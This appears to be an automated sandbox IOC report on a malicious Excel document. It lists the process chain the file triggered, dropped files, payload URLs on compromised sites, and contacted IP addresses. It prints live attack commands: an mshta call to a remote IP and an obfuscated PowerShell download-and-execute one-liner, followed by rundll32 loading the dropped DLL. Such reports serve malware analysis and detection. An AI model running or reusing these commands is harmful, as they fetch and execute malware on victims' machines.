IOC Report

DOCUMENT_2801.xls

Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 27 23:33:44 2022, Last Saved Time/Date: Fri Jan 28 07:31:35 2022, Security: 0

initial sample

C:\ProgramData\Milossd.dll

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

C:\Users\user\Desktop\DOCUMENT_2801.xls

Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 27 23:33:44 2022, Last Saved Time/Date: Fri Jan 28 07:31:35 2022, Security: 0

dropped

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

C:\Windows\System32\cmd.exe

cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "

C:\Windows\System32\cmd.exe

cmd

C:\Windows\System32\mshta.exe

mshta http://91.240.118.172/ee/ss/se.html

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hzcvqvi\kisyfwhhvxv.tpx",RIBFxhGufP

http://tamiladsense.com/wp-includes/BEADvqGgemV8SnTX/PE3

unknown

http://engaz.shop/wp-content/MOllqUm2nb/PE3

unknown

http://91.240.118.172/ee/ss/se.htmlngs

unknown

http://engaz.shop/wp-content/MOllqUm2nb/

unknown

https://lastregaristorante.com/wp-admin/ffdC7ElM2Bn2/PE3

unknown

http://91.240.118.172/ee/ss/se.html

91.240.118.172

http://3-fasen.com/wp-content/3Bl0hBbW/PE3

unknown

http://91.240.11

unknown

https://oculusvisioncare.com/wp-includes/ZEYDjosbNExFTdu/

unknown

http://manchesterheatingservices.youprocontact.com/wp-admin/AiK1

unknown

tamiladsense.com

136.0.111.15

207.148.81.119

unknown

United States

104.131.62.48

unknown

United States

198.199.98.78

unknown

United States

194.9.172.107

unknown

unknown

59.148.253.194

unknown

Hong Kong

74.207.230.120

unknown

United States